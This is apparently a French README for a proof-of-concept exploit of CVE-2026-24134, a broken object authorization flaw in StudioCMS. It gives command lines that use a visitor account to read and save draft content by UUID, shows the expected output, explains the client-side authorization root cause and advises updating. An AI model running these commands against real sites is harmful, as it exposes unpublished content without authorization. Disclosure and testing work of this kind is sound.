
Preuve de concept pour CVE-2026-24134, une vulnérabilité de niveau d'autorisation d'objet cassé (BOLA) dans StudioCMS, démontrant un accès non autorisé au contenu de brouillon.
Ce dépôt contient la preuve de concept (PoC) pour CVE-2026-24134, une vulnérabilité de type Broken Object Level Authorization (BOLA) dans StudioCMS.
cve_2026_24134_poc.py - Script d'exploitation en Pythonpip install requests colorama
# Utilisation de base
python3 cve_2026_24134_poc.py \
-u http://localhost:4321 \
--username visitor_user \
--password visitor_pass \
--uuid bad87630-69a4-4cd6-bcb2-6965839dc148
# Enregistrer la sortie dans un fichier
python3 cve_2026_24134_poc.py \
-u http://localhost:4321 \
--username visitor_user \
--password visitor_pass \
--uuid bad87630-69a4-4cd6-bcb2-6965839dc148 \
--save
python3 cve_2026_24134_poc.py \
-u http://localhost:4321 \
--auto-test \
--visitor-user visitor01 \
--visitor-pass visitorpass \
--editor-user editor01 \
--editor-pass editorpass \
--uuid bad87630-69a4-4cd6-bcb2-6965839dc148
-u, --url - URL de base de StudioCMS cible--uuid - UUID du contenu brouillon cible--username - Nom d'utilisateur pour l'authentification--password - Mot de passe pour l'authentification--auto-test - Activer les tests automatisés--visitor-user - Nom d'utilisateur du compte visiteur--visitor-pass - Mot de passe du compte visiteur--editor-user - Nom d'utilisateur du compte éditeur--editor-pass - Mot de passe du compte éditeur--save - Enregistrer le contenu de la réponse dans un fichier--no-ssl-verify - Désactiver la vérification du certificat SSLpython3 cve_2026_24134_poc.py \
--url http://target.com \
--auto-test \
--visitor-user test_visitor \
--visitor-pass SecurePass123! \
--editor-user test_editor \
--editor-pass SecurePass456! \
--uuid 12345678-1234-1234-1234-123456789abc
Sortie attendue si vulnérable :
[+] Successfully authenticated as test_visitor
[*] Detected user role: Visitor
[+] Successfully accessed draft content!
[!] VULNERABILITY CONFIRMED!
Sortie attendue si corrigé :
[+] Successfully authenticated as test_visitor
[*] Detected user role: Visitor
[*] Access denied (403 Forbidden)
[+] VULNERABILITY NOT PRESENT
python3 cve_2026_24134_poc.py \
--url http://localhost:4321 \
--username attacker \
--password pass123 \
--uuid target-uuid-here \
--save
Cela enregistrera le contenu brouillon complet dans draft_{uuid}.html.
[+] - Opération réussie (vert)[*] - Message informatif (bleu)[!] - Avertissement (jaune)[-] - Erreur (rouge)Si vous exécutez une version vulnérable de StudioCMS, mettez à jour immédiatement vers la version corrigée.
Le vrai problème : Les contrôles d'autorisation étaient effectués côté client (JavaScript), et non côté serveur.
Selon l'équipe de développement :
"Currently the rank level check to redirect is being done in client JS, which was supposed to be replaced shortly there after."
Le correctif : Déplacer l'autorisation du client vers le serveur.
Principe clé : Ne jamais faire confiance au client. La sécurité côté client = amélioration de l'expérience utilisateur. La sécurité côté serveur = protection réelle.
IMPORTANT : Cet outil est fourni à des fins éducatives et de tests de sécurité autorisés uniquement.
Pour toute question concernant ce PoC ou la vulnérabilité :
Ce PoC est publié à des fins éducatives. Utilisez-le de manière responsable et éthique.